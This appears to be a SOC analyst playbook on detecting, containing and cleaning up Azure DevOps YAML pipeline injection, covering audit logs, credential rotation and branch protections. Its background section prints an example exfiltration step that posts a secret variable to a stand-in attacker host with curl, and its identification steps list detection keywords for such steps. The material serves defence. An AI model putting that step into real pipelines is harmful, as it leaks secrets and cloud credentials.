Azure DevOps pipeline injection occurs when an attacker modifies a YAML pipeline definition to execute arbitrary commands during a build — gaining access to pipeline secret variables, service connection credentials (which often have Contributor access to Azure subscriptions), and repository secrets. Attackers may compromise a developer account, push a malicious YAML change, or exploit a pull-request-triggered pipeline from a forked repository.
Pipeline audit events are available in Azure DevOps under Organization Settings → Audit and can be forwarded to Sentinel via the Azure DevOps Audit Log connector. All pipeline definition changes and manual pipeline runs outside scheduled triggers require SOC review.
☰ Table of Contents
01 — BACKGROUND
TECHNIQUE OVERVIEWCI/CD pipelines run with privileged service connection credentials and have access to secret variables set at the pipeline or variable group level. An attacker who modifies a YAML pipeline can add a step such as curl -d "$(SECRET_VAR)" https://attacker.com to exfiltrate secrets. Pipelines triggered by pull requests from forks are especially dangerous if the organization allows fork builds to access protected variables.
| Field | Value |
|---|---|
| MITRE Technique | T1195.002 — Compromise Software Supply Chain, T1059 — Command and Scripting Interpreter |
| Log Source | AzureDevOpsAuditing (Sentinel connector), Azure DevOps Audit Log UI |
| Key Event Types | PipelineModified, PipelineCreated, PipelineRunQueued, SecurityPermissions.Modified |
| High-Risk Resources | Service connections (sub-level access), variable groups (secrets), agent pools |
| Detection Priority | HIGH — any YAML pipeline definition change by a non-pipeline-owner identity |
02 — IDENTIFICATION
2 INDICATORSAzure DevOps audit logs record every pipeline modification event including who changed the YAML, from which repository, and at what time. Any pipeline definition change made by an account that is not a pipeline owner or a DevOps administrator, or any change made directly to a main/production branch pipeline without a pull request review, warrants immediate review of the YAML diff for injected malicious steps.
- 1Navigate to Organization Settings → Audit. Filter by Area: Pipelines and time range Last 24 hours. Export to CSV if needed for analysis.
- 2Review all
PipelineModifiedandPipelineCreatedevents. Note the Actor (user who made the change), Project, and Pipeline name. - 3For each flagged modification, navigate to the repository and review the YAML diff for the commit in question. Look for added
scriptsteps containingcurl,wget,Invoke-WebRequest,env, or direct echo of environment variables to external URLs. - 4Check whether the modified pipeline ran successfully after the YAML change. If yes, assume secret variables exposed during that run are compromised.
- 5Run the KQL below to query Azure DevOps audit events forwarded to Sentinel for pipeline modification events in the last 24 hours.
| Pattern | Meaning | Action |
|---|---|---|
| curl/wget to external IP in YAML | Secret variable exfiltration step injected into pipeline | ROTATE ALL SECRETS NOW |
| echo $SECRET_VAR in script step | Secret printed to build log (may be masked but bypasses exist) | Rotate and audit build logs |
| Non-owner made YAML change | Unauthorized user modified pipeline definition | Review diff, check account compromise |
| PR from fork triggered pipeline | External contributor triggered build with access to secrets | Disable fork pipeline secret access |
If the malicious pipeline ran successfully, the attacker likely exfiltrated service connection credentials and pipeline secret variables. Service connections in Azure DevOps often carry Azure Resource Manager credentials equivalent to Contributor on a production subscription. A successful exfiltration means the attacker now has full Azure access and can pivot to every resource in that subscription.
- 1Navigate to Project Settings → Service connections. For each Azure Resource Manager service connection used by the compromised pipeline, note the associated service principal and its Azure RBAC role.
- 2Immediately revoke the client secrets of all service principals associated with the service connections used by the pipeline that ran with the malicious YAML.
- 3Review the build log of the malicious run (Pipelines → [Pipeline] → [Run] → Job → step logs) for evidence of secret variable output, outbound HTTP requests, or data exfiltration artifacts.
- 4Check AzureActivity for any operations performed using the compromised service principal credentials in the window after the pipeline run completed.
- 5Run the KQL below to find AzureActivity operations from the service principal in the hours after the malicious pipeline run.
Build logs in Azure DevOps are retained for 30 days by default. If you need to preserve evidence of the malicious pipeline run logs, export them immediately before they are purged or overwritten by subsequent runs.
03 — CONTAINMENT
IMMEDIATE ACTION- 1Disable the affected pipeline: Pipelines → [Pipeline] → Edit → More options → Disable pipeline.
- 2Revert the malicious YAML commit via git revert or direct edit to remove the injected step.
- 3Revoke all service principal client secrets associated with service connections used by this pipeline.
- 4Rotate all pipeline secret variables and linked variable group secrets for the affected project.
- 5Disable the actor's Azure DevOps account while the investigation is ongoing: Organization Settings → Users → [User] → Remove from organization (or suspend via Entra ID).
04 — ERADICATION
CLEANUP- 1Enable required reviewers for pipeline YAML changes to the main branch: Repos → Branch policies → Require a minimum number of reviewers (2) for yaml file changes.
- 2Disable fork pipelines accessing secret variables: Project Settings → Settings → "Limit job authorization scope" and disable "Make secrets available to builds from forked repositories".
- 3Apply Protected resource gating on all service connections and variable groups: require pipeline approval before access is granted for new or modified pipelines.
- 4Create a Sentinel analytics rule alerting on
PipelineModifiedevents from non-approved DevOps administrator accounts. - 5Implement least-privilege service connections — each pipeline's service connection should have only the specific Azure RBAC permissions it needs for its deployment target, not subscription-wide Contributor.
- Malicious YAML reverted and pipeline re-enabled with clean definition
- All service connection SP credentials rotated
- All pipeline secret variables rotated
- Branch protection policies requiring YAML change review enforced
- Fork pipeline secret variable access disabled
- Protected resource gating on service connections enabled
After a pipeline injection incident, audit ALL pipelines in the organization for similar injected steps — an attacker with access to one project may have injected the same step into multiple pipelines simultaneously. Run a search across all YAML files in all repos for the exfiltration pattern (curl/wget + env var).
05 — ESCALATION
ESCALATION PATHS| Condition | Severity | Action | Notify |
|---|---|---|---|
| Service connection credential exfiltrated, Azure subscription activity confirmed | SEV1 | Full IR, subscription-wide audit, rotate all credentials | CISO → Cloud team → Dev leads |
| Malicious pipeline ran, secret variable access confirmed in logs | SEV1 | Rotate all secrets, audit all downstream systems | SOC Lead → CISO → Dev teams |
| YAML modified by unauthorized user, pipeline not yet run | SEV2 | Revert YAML, disable pipeline, investigate actor account | SOC Lead → DevOps team lead |
| Authorized debug step, no secret exposure | INFO | Remove debug step, tune alert, close | None |
Stay Threat-Ready
Follow CyberHawk Threat Intel for daily SOC analyst playbooks, detection engineering guides, and threat intelligence.